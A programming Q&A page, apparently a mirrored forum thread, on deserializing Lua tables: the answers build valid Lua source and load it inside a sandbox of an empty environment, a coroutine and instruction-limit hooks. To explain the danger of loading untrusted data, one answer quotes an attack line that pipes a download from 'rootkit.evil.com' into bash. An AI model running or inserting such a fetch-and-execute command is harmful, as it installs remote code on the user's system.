简体   繁体   中英

Deserialization in Lua

I have already serialized a table in lua.Does lua have any function to deserialize it?

function dump(o)
   if type(o) == 'table' then
   local s = '{ '
   for k,v in pairs(o) do
      if type(k) ~= 'number' then k = '"'..k..'"' end
      s = s .. '['..k..'] = ' .. dump(v) .. ','
   end
   return s .. '} '
   else
      return tostring(o)
   end
end

local people = {
   {
      name = "Fred",
      address = "16 Long Street",
      phone = "123456"
   },

   {
      name = "Wilma",
      address = "16 Long Street",
      phone = "123456"
   },

   {
      name = "Barney",
      address = "17 Long Street",
      phone = "123457"
   }

}
file = io.open("test.lua", "a")
file:write("People:", dump(people))

The output of this program is:
People: { [1] = { ["phone"] = 123456,["name"] = Fred,["address"] = 16 Long Street,} ,[2] = { ["phone"] = 123456,["name"] = Wilma, ["address"] = 16 Long Street,} ,[3] = { ["phone"] = 123457,["name"] = Barney,["address"] = 17 Long Street,} ,}

Please suggest a way to Deserialize it in lua.

One cheap way to deserialize data is to run it. While serializing, you build executable source. Much like you already did, but add few details - add 'return' in front of table constructor, and enclose strings with quote signs, probably some escaping will be required if strings contain quote signs inside.

Note though that it's ok for trusted data only. When data comes from external sources it may contain not just expected data, but also some code that might want to compromise your system.

Otherwise you can try json, there's lots of libs already available for json serializing/deserializing.

If you slightly change your code…

...
         end
         return s .. '} '
+++   elseif type(o) == 'string' then
+++      return ("%q"):format( o )
      else
        return tostring(o)
      end
...

…you generate valid Lua.

Now you can

local function condfail( cond, ... )
    if not cond then  return nil, (...) end
    return ...
end

function deserialize( str, vars )
    -- create dummy environment
    local env = vars and setmetatable( {}, {__index=vars} ) or {}
    -- create function that returns deserialized value(s)
    local f, _err = load( "return "..str, "=deserialize", "t", env )
    if not f then  return nil, _err  end -- syntax error?
    -- set up safe runner
    local co = coroutine.create( f )
    local hook = function( )  debug.sethook( co, error, "c", 1000000 )  end
    debug.sethook( co, hook, "c" )
    -- now run the deserialization
    return condfail( coroutine.resume( co ) )
end

to deserialize the data in a reasonably safe way.

The unsafe way to deserialize the data would be to simply load( "return "..str )( ) , but that would permit running arbitrary Lua code.

First, we put the function in a separate environment so it cannot influence the global environment. (Else, doing, say, print = function() os.execute "curl rootkit.evil.com | bash" end would replace a function with something that is later called from a different (unprotected) context and runs arbitrary code.) For convenience, you could pass in a table so the data can refer to pre-defined variables. (You're probably not going to need this, but if you ever need pre-defined constants that's how to provide them.)

Next, we run the function in a separate coroutine so we can set a debug hook that doesn't influence the rest of the program. And then we can forbid doing any function calls by effectively setting debug.sethook( co, error, "c" ) . (Because the initial call of the function that "is"/returns your data would already trigger this, we delay this by one call. So we set a hook that changes the hook to error when called.)

Now all function calls are forbidden and the outside cannot be influenced by the running code. The only remaining thing that an attacker can do is waste time - eg by endless loops like while true do end or ::x:: goto x . So we also set a maximum instruction count when setting the hook – debug.sethook( co, error, "c", 1000000 ) . One million instructions should be enough for relatively large files. It's an arbitrary limit – increase it if it's too small. (It's enough to count up to 250000 in a loop so creating more than this many primitive values is possible).

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM